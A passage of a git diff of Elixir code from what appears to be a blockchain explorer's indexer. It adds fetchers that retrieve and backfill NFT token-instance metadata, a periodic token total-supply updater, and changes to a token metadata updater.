Chain.upsert_token_instance(params) - - result -> - Logger.debug( - [ - "failed to fetch token instance metadata for #{inspect({to_string(token_contract_address_hash), Decimal.to_integer(token_id)})}: ", - inspect(result) - ], - fetcher: :token_instances - ) - - :ok - end - - :ok - end - - @doc """ - Fetches token instance data asynchronously. - """ - def async_fetch(token_transfers) when is_list(token_transfers) do - data = - token_transfers - |> Enum.reject(fn token_transfer -> is_nil(token_transfer.token_id) end) - |> Enum.map(fn token_transfer -> - %{contract_address_hash: token_transfer.token_contract_address_hash, token_id: token_transfer.token_id} - end) - |> Enum.uniq() - - BufferedTask.buffer(__MODULE__, data) - end - - def async_fetch(data) do - BufferedTask.buffer(__MODULE__, data) - end -end diff --git a/apps/indexer/lib/indexer/fetcher/token_instance/helper.ex b/apps/indexer/lib/indexer/fetcher/token_instance/helper.ex new file mode 100644 index 000000000000..bec01eff8ddf --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/token_instance/helper.ex @@ -0,0 +1,214 @@ +defmodule Indexer.Fetcher.TokenInstance.Helper do + @moduledoc """ + Common functions for Indexer.Fetcher.TokenInstance fetchers + """ + + alias EthereumJSONRPC.NFT + alias Explorer.Chain + alias Explorer.Chain.Token.Instance + alias Explorer.Token.MetadataRetriever + alias Indexer.NFTMediaHandler.Queue + + require Logger + + @cryptokitties_address_hash "0x06012c8cf97bead5deae237070f9587f8e7a266d" + + @doc """ + Fetches and upserts a batch of token instances. + + This function takes a list of `token_instances`, prepares the parameters for insertion, + and attempts to upsert them into the database. If an error occurs during the upsert, + it rescues the exception. + + ## Parameters + + - `token_instances`: A list of token instance maps to be processed. + + ## Returns + + - The result of the upsert operation, which may vary depending on the implementation + of `upsert_with_rescue/1`. + """ + @spec batch_fetch_instances([map()]) :: nil | [map()] + def batch_fetch_instances(token_instances) do + token_instances + |> batch_prepare_instances_insert_params() + |> upsert_with_rescue() + end + + @doc """ + Prepares a batch of token instance insert parameters. + + This function processes a list of token instances, grouping them by contract address hash, + and handles special logic for CryptoKitties tokens. It fetches token types for non-CryptoKitties + tokens, retrieves metadata, and formats the results for database insertion. + + ## Parameters + + - `token_instances`: A list of maps representing token instances. Each item should + contain at least `:contract_address_hash` and `:token_id`. + + ## Returns + + - A list of insert parameters for each token instance, ready for database insertion. + + ## Special Cases + + - CryptoKitties tokens are identified by a specific contract address hash and are handled + separately with a fixed API endpoint. + + - Errors during metadata retrieval are truncated and included in the result. + + """ + @spec batch_prepare_instances_insert_params([map()]) :: [map()] + def batch_prepare_instances_insert_params(token_instances) do + token_instances = + Enum.map(token_instances, fn + %{contract_address_hash: hash, token_id: token_id} -> {hash, token_id} + {_, _} = tuple -> tuple + end) + + splitted = + Enum.group_by(token_instances, fn {contract_address_hash, _token_id} -> + to_string(contract_address_hash) == @cryptokitties_address_hash + end) + + cryptokitties = + (splitted[true] || []) + |> Enum.map(fn {contract_address_hash, token_id} -> + {{:ok, ["https://api.cryptokitties.co/kitties/{id}"]}, to_string(token_id), contract_address_hash, token_id, + false} + end) + + other = splitted[false] || [] + + token_types_map = + other + |> Enum.map(fn {contract_address_hash, _token_id} -> contract_address_hash end) + |> Enum.uniq() + |> Chain.get_token_types() + |> Map.new(fn {hash, type} -> {hash.bytes, type} end) + + other + |> batch_fetch_instances_inner(token_types_map, cryptokitties) + |> Enum.map(fn {{_task, res}, {_result, _normalized_token_id, contract_address_hash, token_id, _from_base_uri?}} -> + case res do + {:ok, result} -> + result_to_insert_params(result, contract_address_hash, token_id) + + {:exit, reason} -> + result_to_insert_params( + {:error, MetadataRetriever.truncate_error("Terminated:" <> inspect(reason))}, + contract_address_hash, + token_id + ) + end + end) + end + + defp batch_fetch_instances_inner(token_instances, token_types_map, cryptokitties) do + contract_results = + (token_instances + |> Enum.map(fn {contract_address_hash, token_id} -> + {contract_address_hash, token_id, token_types_map[contract_address_hash.bytes]} + end) + |> NFT.batch_metadata_url_request(Application.get_env(:explorer, :json_rpc_named_arguments)) + |> Enum.zip_reduce(token_instances, [], fn {result, from_base_uri?}, {contract_address_hash, token_id}, acc -> + token_id = NFT.prepare_token_id(token_id) + + [ + {result, normalize_token_id(token_types_map[contract_address_hash.bytes], token_id), contract_address_hash, + token_id, from_base_uri?} + | acc + ] + end) + |> Enum.reverse()) ++ + cryptokitties + + contract_results + |> Enum.map(fn {result, normalized_token_id, _contract_address_hash, token_id, from_base_uri?} -> + Task.async(fn -> MetadataRetriever.fetch_json(result, token_id, normalized_token_id, from_base_uri?) end) + end) + |> Task.yield_many(:infinity) + |> Enum.zip(contract_results) + end + + @spec normalize_token_id(binary(), integer()) :: nil | binary() + defp normalize_token_id("ERC-1155", token_id), + do: token_id |> Integer.to_string(16) |> String.downcase() |> String.pad_leading(64, "0") + + defp normalize_token_id(_token_type, _token_id), do: nil + + defp result_to_insert_params({:ok, %{metadata: metadata}}, token_contract_address_hash, token_id) do + %{ + token_id: token_id, + token_contract_address_hash: token_contract_address_hash, + metadata: metadata, + skip_metadata_url: true, + error: nil, + refetch_after: nil + } + end + + defp result_to_insert_params({:ok_store_uri, %{metadata: metadata}, uri}, token_contract_address_hash, token_id) do + %{ + token_id: token_id, + token_contract_address_hash: token_contract_address_hash, + metadata: metadata, + metadata_url: uri, + skip_metadata_url: false, + error: nil, + refetch_after: nil + } + end + + defp result_to_insert_params({:error_code, code}, token_contract_address_hash, token_id), + do: token_instance_map_with_error(token_id, token_contract_address_hash, "request error: #{code}") + + defp result_to_insert_params({:error, reason}, token_contract_address_hash, token_id), + do: token_instance_map_with_error(token_id, token_contract_address_hash, reason) + + defp token_instance_map_with_error(token_id, token_contract_address_hash, error) do + config = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Retry) + + coef = config[:exp_timeout_coeff] + max_refetch_interval = config[:max_refetch_interval] + + timeout = min(coef * 1000, max_refetch_interval) + + %{ + token_id: token_id, + token_contract_address_hash: token_contract_address_hash, + error: error, + refetch_after: DateTime.add(DateTime.utc_now(), timeout, :millisecond) + } + end + + defp upsert_with_rescue(insert_params, retrying? \\ false) do + insert_params + |> Instance.batch_upsert_token_instances() + |> Queue.process_new_instances() + rescue + error in Postgrex.Error -> + if retrying? do + Logger.warning( + [ + "Failed to upsert token instance. Error: #{inspect(error)}, params: #{inspect(insert_params)}" + ], + fetcher: :token_instances + ) + + nil + else + insert_params + |> Enum.map(fn params -> + token_instance_map_with_error( + params[:token_id], + params[:token_contract_address_hash], + MetadataRetriever.truncate_error(inspect(error.postgres.code)) + ) + end) + |> upsert_with_rescue(true) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/token_instance/realtime.ex b/apps/indexer/lib/indexer/fetcher/token_instance/realtime.ex new file mode 100644 index 000000000000..e79243cf57ab --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/token_instance/realtime.ex @@ -0,0 +1,136 @@ +defmodule Indexer.Fetcher.TokenInstance.Realtime do + @moduledoc """ + Fetches information about a token instance. + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + import Indexer.Fetcher.TokenInstance.Helper + + alias Explorer.Chain.Token.Instance + alias Indexer.BufferedTask + + @behaviour BufferedTask + + @default_max_batch_size 1 + @default_max_concurrency 10 + + @errors_whitelisted_for_retry ["request error: 404", "request error: 500"] + + @doc false + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge(state: []) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(_, _, _) do + {0, []} + end + + @impl BufferedTask + def run(token_instances, _) when is_list(token_instances) do + retry? = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime)[:retry_with_cooldown?] + + token_instances_retry_map = token_instance_to_retry_map(retry?, token_instances) + + token_instances + |> Enum.filter(fn %{contract_address_hash: hash, token_id: token_id} = instance -> + instance[:retry?] || Instance.token_instance_with_unfetched_metadata?(token_id, hash) + end) + |> batch_fetch_instances() + |> retry_some_instances(retry?, token_instances_retry_map) + + :ok + end + + @doc """ + Fetches token instance data asynchronously. + """ + def async_fetch(data) do + async_fetch(data, __MODULE__.Supervisor.disabled?()) + end + + def async_fetch(_data, true), do: :ok + + def async_fetch(token_transfers, _disabled?) when is_list(token_transfers) do + data = + token_transfers + |> Enum.reject(fn token_transfer -> is_nil(token_transfer.token_ids) end) + |> Enum.map(fn token_transfer -> + Enum.map(token_transfer.token_ids, fn token_id -> + %{ + contract_address_hash: token_transfer.token_contract_address_hash, + token_id: token_id + } + end) + end) + |> List.flatten() + |> Enum.uniq() + + BufferedTask.buffer(__MODULE__, data, true) + end + + def async_fetch(data, _disabled?) do + BufferedTask.buffer(__MODULE__, data, true) + end + + @spec retry_some_instances([map()], boolean(), map()) :: any() + defp retry_some_instances(token_instances, true, token_instances_retry_map) do + token_instances_to_refetch = + Enum.flat_map(token_instances, fn + %Instance{metadata: nil, error: error} = instance + when error in @errors_whitelisted_for_retry -> + if token_instances_retry_map[{instance.token_contract_address_hash.bytes, instance.token_id}] do + [] + else + [ + %{ + contract_address_hash: instance.token_contract_address_hash, + token_id: instance.token_id, + retry?: true + } + ] + end + + _ -> + [] + end) + + if token_instances_to_refetch != [] do + timeout = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime)[:retry_timeout] + Process.send_after(__MODULE__, {:buffer, token_instances_to_refetch, false}, timeout) + end + end + + defp retry_some_instances(_, _, _), do: nil + + defp token_instance_to_retry_map(false, _token_instances), do: nil + + defp token_instance_to_retry_map(true, token_instances) do + token_instances + |> Enum.flat_map(fn + %{contract_address_hash: hash, token_id: token_id, retry?: true} -> + [{{hash.bytes, token_id}, true}] + + _ -> + [] + end) + |> Enum.into(%{}) + end + + defp defaults do + [ + flush_interval: 100, + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + poll: false, + task_supervisor: __MODULE__.TaskSupervisor + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/token_instance/refetch.ex b/apps/indexer/lib/indexer/fetcher/token_instance/refetch.ex new file mode 100644 index 000000000000..a23883f63d54 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/token_instance/refetch.ex @@ -0,0 +1,54 @@ +defmodule Indexer.Fetcher.TokenInstance.Refetch do + @moduledoc """ + Fetches information about a token instance, which is marked to be re-fetched. + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + import Indexer.Fetcher.TokenInstance.Helper + + alias Explorer.Chain.Token.Instance + alias Indexer.BufferedTask + + @behaviour BufferedTask + + @default_max_batch_size 10 + @default_max_concurrency 10 + @doc false + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge(state: []) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial_acc, reducer, _) do + {:ok, acc} = + Instance.stream_token_instances_marked_to_refetch(initial_acc, fn data, acc -> + reducer.(data, acc) + end) + + acc + end + + @impl BufferedTask + def run(token_instances, _) when is_list(token_instances) do + token_instances + |> batch_fetch_instances() + + :ok + end + + defp defaults do + [ + flush_interval: :infinity, + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: __MODULE__.TaskSupervisor + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/token_instance/retry.ex b/apps/indexer/lib/indexer/fetcher/token_instance/retry.ex new file mode 100644 index 000000000000..6f47c68534e4 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/token_instance/retry.ex @@ -0,0 +1,58 @@ +defmodule Indexer.Fetcher.TokenInstance.Retry do + @moduledoc """ + Fetches information about a token instance. + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + import Indexer.Fetcher.TokenInstance.Helper + + alias Explorer.Chain.Token.Instance + alias Indexer.BufferedTask + alias Indexer.Helper, as: IndexerHelper + + @behaviour BufferedTask + + @default_max_batch_size 10 + @default_max_concurrency 10 + + @doc false + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge(state: []) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial_acc, reducer, _) do + {:ok, acc} = + Instance.stream_token_instances_with_error( + initial_acc, + fn data, acc -> + IndexerHelper.reduce_if_queue_is_not_full(data, acc, reducer, __MODULE__) + end + ) + + acc + end + + @impl BufferedTask + def run(token_instances, _json_rpc_named_arguments) when is_list(token_instances) do + batch_fetch_instances(token_instances) + + :ok + end + + defp defaults do + [ + flush_interval: :timer.seconds(10), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: __MODULE__.TaskSupervisor + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/token_instance/sanitize.ex b/apps/indexer/lib/indexer/fetcher/token_instance/sanitize.ex new file mode 100644 index 000000000000..ae18d9bdb232 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/token_instance/sanitize.ex @@ -0,0 +1,67 @@ +defmodule Indexer.Fetcher.TokenInstance.Sanitize do + @moduledoc """ + Fetches information about a token instance. + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + import Indexer.Fetcher.TokenInstance.Helper + + alias Explorer.Chain.Token.Instance + alias Indexer.BufferedTask + + @behaviour BufferedTask + + @default_max_batch_size 10 + @default_max_concurrency 10 + @doc false + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge(state: []) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial_acc, reducer, _) do + {:ok, acc} = + Instance.stream_token_instances_with_unfetched_metadata(initial_acc, fn data, acc -> + reducer.(data, acc) + end) + + acc + end + + @impl BufferedTask + def run(token_instances, _) when is_list(token_instances) do + token_instances + |> Enum.filter(fn %{contract_address_hash: hash, token_id: token_id} -> + Instance.token_instance_with_unfetched_metadata?(token_id, hash) + end) + |> batch_fetch_instances() + + :ok + end + + def async_fetch(token_instances) do + token_instances = + Enum.map(token_instances, fn %{token_contract_address_hash: hash, token_id: token_id} -> + %{contract_address_hash: hash, token_id: token_id} + end) + + BufferedTask.buffer(__MODULE__, token_instances, false, :infinity) + end + + defp defaults do + [ + flush_interval: :timer.seconds(5), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + poll: false, + task_supervisor: __MODULE__.TaskSupervisor + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/token_instance/sanitize_erc1155.ex b/apps/indexer/lib/indexer/fetcher/token_instance/sanitize_erc1155.ex new file mode 100644 index 000000000000..2361f98753d4 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/token_instance/sanitize_erc1155.ex @@ -0,0 +1,70 @@ +defmodule Indexer.Fetcher.TokenInstance.SanitizeERC1155 do + @moduledoc """ + This fetcher is stands for creating token instances which wasn't inserted yet and index meta for them. + + !!!Imports only ERC-1155 token instances!!! + """ + + use GenServer, restart: :transient + + alias Explorer.Chain.Token.Instance + alias Explorer.Migrator.MigrationStatus + alias Explorer.{Chain, Repo} + alias Indexer.Fetcher.TokenInstance.Sanitize + + @migration_name "backfill_erc1155" + + def start_link(_) do + concurrency = Application.get_env(:indexer, __MODULE__)[:concurrency] + batch_size = Application.get_env(:indexer, __MODULE__)[:batch_size] + GenServer.start_link(__MODULE__, %{concurrency: concurrency, batch_size: batch_size}, name: __MODULE__) + end + + @impl true + def init(opts) do + {:ok, opts, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, state) do + case MigrationStatus.get_status(@migration_name) do + "completed" -> + {:stop, :normal, state} + + _ -> + MigrationStatus.set_status(@migration_name, "started") + GenServer.cast(__MODULE__, :backfill) + {:noreply, state} + end + end + + @impl true + def handle_cast(:backfill, %{concurrency: concurrency, batch_size: batch_size} = state) do + instances_to_fetch = + (concurrency * batch_size) + |> Instance.not_inserted_erc_1155_token_instances() + |> Repo.all(timeout: :infinity) + + if Enum.empty?(instances_to_fetch) do + MigrationStatus.set_status(@migration_name, "completed") + {:stop, :normal, state} + else + uniq_instances = + instances_to_fetch + |> Enum.uniq() + + uniq_instances + |> Enum.chunk_every(batch_size) + |> Enum.map(&process_batch/1) + |> Task.await_many(:infinity) + + Sanitize.async_fetch(uniq_instances) + + GenServer.cast(__MODULE__, :backfill) + + {:noreply, state} + end + end + + defp process_batch(batch), do: Task.async(fn -> Chain.import(%{token_instances: %{params: batch}}) end) +end diff --git a/apps/indexer/lib/indexer/fetcher/token_instance/sanitize_erc721.ex b/apps/indexer/lib/indexer/fetcher/token_instance/sanitize_erc721.ex new file mode 100644 index 000000000000..f203f753b6b5 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/token_instance/sanitize_erc721.ex @@ -0,0 +1,110 @@ +defmodule Indexer.Fetcher.TokenInstance.SanitizeERC721 do + @moduledoc """ + This fetcher is stands for creating token instances which wasn't inserted yet and index meta for them. + + !!!Imports only ERC-721 token instances!!! + """ + + use GenServer, restart: :transient + + alias Explorer.Application.Constants + alias Explorer.Chain.Token + alias Explorer.Chain.Token.Instance + alias Explorer.Migrator.MigrationStatus + alias Explorer.Repo + alias Explorer.TokenInstanceOwnerAddressMigration.Helper, as: TokenInstanceOwnerAddressMigrationHelper + alias Indexer.Fetcher.TokenInstance.Sanitize + + @migration_name "backfill_erc721" + + def start_link(_) do + concurrency = Application.get_env(:indexer, __MODULE__)[:concurrency] + batch_size = Application.get_env(:indexer, __MODULE__)[:batch_size] + tokens_queue_size = Application.get_env(:indexer, __MODULE__)[:tokens_queue_size] + + GenServer.start_link( + __MODULE__, + %{concurrency: concurrency, batch_size: batch_size, tokens_queue_size: tokens_queue_size}, + name: __MODULE__ + ) + end + + @impl true + def init(opts) do + {:ok, %{}, {:continue, opts}} + end + + @impl true + def handle_continue(opts, state) do + case MigrationStatus.get_status(@migration_name) do + "completed" -> + {:stop, :normal, state} + + _ -> + MigrationStatus.set_status(@migration_name, "started") + last_token_address_hash = Constants.get_last_processed_token_address_hash() + GenServer.cast(__MODULE__, :fetch_tokens_queue) + + {:noreply, Map.put(opts, :last_token_address_hash, last_token_address_hash)} + end + end + + @impl true + def handle_cast(:fetch_tokens_queue, state) do + address_hashes = + state[:tokens_queue_size] + |> Token.ordered_erc_721_token_address_hashes_list_query(state[:last_token_address_hash]) + |> Repo.all(timeout: :infinity) + + if Enum.empty?(address_hashes) do + MigrationStatus.set_status(@migration_name, "completed") + {:stop, :normal, state} + else + GenServer.cast(__MODULE__, :backfill) + + {:noreply, Map.put(state, :tokens_queue, address_hashes)} + end + end + + @impl true + def handle_cast(:backfill, %{tokens_queue: []} = state) do + GenServer.cast(__MODULE__, :fetch_tokens_queue) + + {:noreply, state} + end + + @impl true + def handle_cast( + :backfill, + %{concurrency: concurrency, batch_size: batch_size, tokens_queue: [current_address_hash | remains]} = state + ) do + instances_to_fetch = + (concurrency * batch_size) + |> Instance.not_inserted_token_instances_query_by_token(current_address_hash) + |> Repo.all(timeout: :infinity) + + if Enum.empty?(instances_to_fetch) do + Constants.insert_last_processed_token_address_hash(current_address_hash) + GenServer.cast(__MODULE__, :backfill) + + {:noreply, %{state | tokens_queue: remains, last_token_address_hash: current_address_hash}} + else + uniq_instances = + instances_to_fetch + |> Enum.uniq() + + uniq_instances + |> Enum.chunk_every(batch_size) + |> Enum.map(&process_batch/1) + |> Task.await_many(:infinity) + + Sanitize.async_fetch(uniq_instances) + + GenServer.cast(__MODULE__, :backfill) + + {:noreply, state} + end + end + + defp process_batch(batch), do: Task.async(fn -> TokenInstanceOwnerAddressMigrationHelper.fetch_and_insert(batch) end) +end diff --git a/apps/indexer/lib/indexer/fetcher/token_total_supply_on_demand.ex b/apps/indexer/lib/indexer/fetcher/token_total_supply_on_demand.ex deleted file mode 100644 index 934e936afa56..000000000000 --- a/apps/indexer/lib/indexer/fetcher/token_total_supply_on_demand.ex +++ /dev/null @@ -1,48 +0,0 @@ -defmodule Indexer.Fetcher.TokenTotalSupplyOnDemand do - @moduledoc """ - Ensures that we have a reasonably up to date token supply. - - """ - - use GenServer - use Indexer.Fetcher - - alias Explorer.{Chain, Repo} - alias Explorer.Chain.{Address, Token} - alias Explorer.Token.MetadataRetriever - - ## Interface - - @spec trigger_fetch(Address.t()) :: :ok - def trigger_fetch(address) do - do_trigger_fetch(address) - end - - ## Callbacks - - def start_link([init_opts, server_opts]) do - GenServer.start_link(__MODULE__, init_opts, server_opts) - end - - def init(init_arg) do - {:ok, init_arg} - end - - ## Implementation - - defp do_trigger_fetch(address) when not is_nil(address) do - token_address_hash = "0x" <> Base.encode16(address.bytes) - - token_params = - token_address_hash - |> MetadataRetriever.get_total_supply_of() - - token = - Token - |> Repo.get_by(contract_address_hash: address) - |> Repo.preload([:contract_address]) - - {:ok, _} = Chain.update_token(%{token | updated_at: DateTime.utc_now()}, token_params) - :ok - end -end diff --git a/apps/indexer/lib/indexer/fetcher/token_total_supply_updater.ex b/apps/indexer/lib/indexer/fetcher/token_total_supply_updater.ex new file mode 100644 index 000000000000..a3a66ba1fd88 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/token_total_supply_updater.ex @@ -0,0 +1,79 @@ +defmodule Indexer.Fetcher.TokenTotalSupplyUpdater do + @moduledoc """ + Periodically updates tokens total_supply + """ + + use GenServer + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Explorer.Chain.{Hash, Token} + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.Token.MetadataRetriever + alias Timex.Duration + + @default_update_interval :timer.seconds(10) + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def init(_) do + schedule_next_update() + + {:ok, []} + end + + def add_tokens(contract_address_hashes) do + GenServer.cast(__MODULE__, {:add_tokens, contract_address_hashes}) + end + + def handle_cast({:add_tokens, contract_address_hashes}, state) do + {:noreply, Enum.uniq(List.wrap(contract_address_hashes) ++ state)} + end + + def handle_info(:update, contract_address_hashes) do + contract_address_hashes + |> Enum.reduce(%{}, fn contract_address_hash, acc -> + with {:ok, address_hash} <- Chain.string_to_address_hash(contract_address_hash), + data_for_multichain = update_token(address_hash), + false <- is_nil(data_for_multichain) do + Map.put(acc, address_hash.bytes, data_for_multichain) + else + _ -> acc + end + end) + |> MultichainSearch.send_token_info_to_queue(:total_supply) + + schedule_next_update() + + {:noreply, []} + end + + defp schedule_next_update do + update_interval = + case AverageBlockTime.average_block_time() do + {:error, :disabled} -> @default_update_interval + block_time -> round(Duration.to_milliseconds(block_time)) + end + + Process.send_after(self(), :update, update_interval) + end + + defp update_token(address_hash) do + token = Repo.get_by(Token, contract_address_hash: address_hash) + + if token && !token.skip_metadata do + token_params = + address_hash + |> Hash.to_string() + |> MetadataRetriever.get_total_supply_of() + + if token_params !== %{} do + {:ok, _} = Token.update(token, token_params) + + MultichainSearch.prepare_token_total_supply_for_queue(token_params.total_supply) + end + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/token_updater.ex b/apps/indexer/lib/indexer/fetcher/token_updater.ex index 9a685b61d11c..4d59fcf59341 100644 --- a/apps/indexer/lib/indexer/fetcher/token_updater.ex +++ b/apps/indexer/lib/indexer/fetcher/token_updater.ex @@ -2,14 +2,16 @@ defmodule Indexer.Fetcher.TokenUpdater do @moduledoc """ Updates metadata for cataloged tokens """ - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent require Logger alias Explorer.Chain alias Explorer.Chain.{Hash, Token} + alias Explorer.MicroserviceInterfaces.MultichainSearch alias Explorer.Token.MetadataRetriever alias Indexer.BufferedTask + alias Timex.Duration @behaviour BufferedTask @@ -43,10 +45,15 @@ defmodule Indexer.Fetcher.TokenUpdater do @impl BufferedTask def init(initial, reducer, _) do - metadata_updater_inverval = Application.get_env(:indexer, :metadata_updater_seconds_interval) - interval_in_minutes = Kernel.round(metadata_updater_inverval / 60) + metadata_updater_milliseconds_interval = Application.get_env(:indexer, :metadata_updater_milliseconds_interval) - {:ok, tokens} = Chain.stream_cataloged_token_contract_address_hashes(initial, reducer, interval_in_minutes) + interval_in_minutes = + metadata_updater_milliseconds_interval + |> Duration.from_milliseconds() + |> Duration.to_minutes() + |> trunc() + + {:ok, tokens} = Token.stream_cataloged_tokens(initial, reducer, interval_in_minutes, true) tokens end @@ -56,7 +63,6 @@ defmodule Indexer.Fetcher.TokenUpdater do Logger.debug("updating tokens") entries - |> Enum.map(&to_string/1) |> MetadataRetriever.get_functions_of() |> case do {:ok, params} -> @@ -73,18 +79,30 @@ defmodule Indexer.Fetcher.TokenUpdater do @doc false def update_metadata(metadata_list) when is_list(metadata_list) do - options = [necessity_by_association: %{[contract_address: :smart_contract] => :optional}] - - Enum.each(metadata_list, fn %{contract_address_hash: contract_address_hash} = metadata -> + metadata_list + |> Enum.reduce(%{}, fn %{contract_address_hash: contract_address_hash} = metadata, acc -> {:ok, hash} = Hash.Address.cast(contract_address_hash) - with {:ok, %Token{cataloged: true} = token} <- Chain.token_from_address_hash(hash, options) do - update_metadata(token, metadata) + case Chain.token_from_address_hash(hash) do + {:ok, %Token{cataloged: true} = token} -> + update_metadata(token, metadata) + data_for_multichain = MultichainSearch.prepare_token_metadata_for_queue(token, metadata) + Map.put(acc, hash.bytes, data_for_multichain) + + _ -> + acc end end) + |> MultichainSearch.send_token_info_to_queue(:metadata) + + :ok end def update_metadata(%Token{} = token, metadata) do - Chain.update_token(%{token | updated_at: DateTime.utc_now()}, metadata) + metadata_with_metadata_updated_at = + metadata + |> Map.put(:metadata_updated_at, DateTime.utc_now()) + + Token.update(token, metadata_with_metadata_updated_at, false, :metadata_update) end end diff --git a/apps/indexer/lib/indexer/fetcher/transaction_action.ex b/apps/indexer/lib/indexer/fetcher/transaction_action.ex new file mode 100644 index 000000000000..5d8c9e7652da --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/transaction_action.ex @@ -0,0 +1,297 @@ +defmodule Indexer.Fetcher.TransactionAction do + @moduledoc """ + Fetches information about transaction actions. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query, + only: [ + from: 2 + ] + + import Explorer.Helper, only: [parse_integer: 1] + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Block, BlockNumberHelper, Log, TransactionAction} + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Indexer.Transform.{Addresses, TransactionActions} + + @stage_first_block "transaction_action_first_block" + @stage_next_block "transaction_action_next_block" + @stage_last_block "transaction_action_last_block" + + defstruct first_block: nil, next_block: nil, last_block: nil, protocols: [], task: nil, pid: nil + + def child_spec([init_arguments]) do + child_spec([init_arguments, []]) + end + + def child_spec([_init_arguments, _gen_server_options] = start_link_arguments) do + default = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments} + } + + Supervisor.child_spec(default, restart: :transient) + end + + def start_link(arguments, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, arguments, gen_server_options) + end + + @impl GenServer + def init(opts) when is_list(opts) do + opts = + Application.get_all_env(:indexer)[__MODULE__] + |> Keyword.merge(opts) + + first_block = Keyword.get(opts, :reindex_first_block) + last_block = Keyword.get(opts, :reindex_last_block) + + cond do + !is_nil(first_block) and !is_nil(last_block) -> + init_fetching(opts, first_block, last_block) + + is_nil(first_block) and !is_nil(last_block) -> + {:stop, "Please, specify the first block of the block range for #{__MODULE__}."} + + !is_nil(first_block) and is_nil(last_block) -> + {:stop, "Please, specify the last block of the block range for #{__MODULE__}."} + + true -> + :ignore + end + end + + @impl true + def handle_continue({opts, first_block, last_block}, _state) do + logger_metadata = Logger.metadata() + Logger.metadata(fetcher: :transaction_action) + + max_block_number = Chain.fetch_max_block_number() + + if last_block > max_block_number do + Logger.warning( + "Note, that the last block number (#{last_block}) provided to #{__MODULE__} exceeds max block number available in DB (#{max_block_number})." + ) + end + + supported_protocols = + TransactionAction.supported_protocols() + |> Enum.map(&Atom.to_string(&1)) + + protocols = + opts + |> Keyword.get(:reindex_protocols, "") + |> String.trim() + |> String.split(",") + |> Enum.map(&String.trim(&1)) + |> Enum.filter(&Enum.member?(supported_protocols, &1)) + + next_block = get_next_block(first_block, last_block, protocols) + + state = + %__MODULE__{ + first_block: first_block, + next_block: next_block, + last_block: last_block, + protocols: protocols + } + |> run_fetch() + + Logger.reset_metadata(logger_metadata) + + {:noreply, state} + end + + @impl GenServer + def handle_info(:fetch, %__MODULE__{} = state) do + task = Task.Supervisor.async_nolink(Indexer.Fetcher.TransactionAction.TaskSupervisor, fn -> task(state) end) + {:noreply, %__MODULE__{state | task: task}} + end + + def handle_info(:stop_server, %__MODULE__{} = state) do + {:stop, :normal, state} + end + + def handle_info({ref, _result}, %__MODULE__{task: %Task{ref: ref}} = state) do + Process.demonitor(ref, [:flush]) + {:noreply, %__MODULE__{state | task: nil}} + end + + def handle_info( + {:DOWN, ref, :process, pid, reason}, + %__MODULE__{task: %Task{pid: pid, ref: ref}} = state + ) do + if reason === :normal do + {:noreply, %__MODULE__{state | task: nil}} + else + logger_metadata = Logger.metadata() + Logger.metadata(fetcher: 